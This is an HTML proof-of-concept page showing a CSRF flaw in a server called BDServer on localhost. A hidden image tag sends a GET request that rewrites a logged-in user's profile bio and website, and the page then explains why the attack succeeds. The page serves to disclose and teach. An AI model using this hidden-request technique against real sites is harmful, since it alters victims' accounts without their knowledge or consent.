30 lines
1.2 KiB
HTML
30 lines
1.2 KiB
HTML
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>CSRF Proof of Concept</title>
|
|
</head>
|
|
<body>
|
|
<h1>CSRF Proof of Concept - BDServer</h1>
|
|
<p>This page demonstrates the CSRF vulnerability in BDServer.</p>
|
|
<p>If you are logged into BDServer at localhost:8080, your profile has been modified.</p>
|
|
|
|
<!-- These invisible images trigger GET requests that modify server state -->
|
|
<!-- The browser automatically includes session cookies with these requests -->
|
|
|
|
<!-- Modify user profile -->
|
|
<img src="http://localhost:8080/update_account?bio=Profile%20modified%20via%20CSRF&website=https://attacker.example.com" style="display:none" />
|
|
|
|
<h2>What happened?</h2>
|
|
<ul>
|
|
<li>Your profile bio was changed to "Profile modified via CSRF"</li>
|
|
<li>Your website was changed to "https://attacker.example.com"</li>
|
|
</ul>
|
|
|
|
<h2>Why this works</h2>
|
|
<p>BDServer uses GET requests for state-changing operations and has no CSRF protection.
|
|
When your browser loads this page, it fetches the image URLs above.
|
|
Since you're logged in, your session cookie is sent with each request,
|
|
authenticating the malicious actions as if you performed them yourself.</p>
|
|
</body>
|
|
</html>
|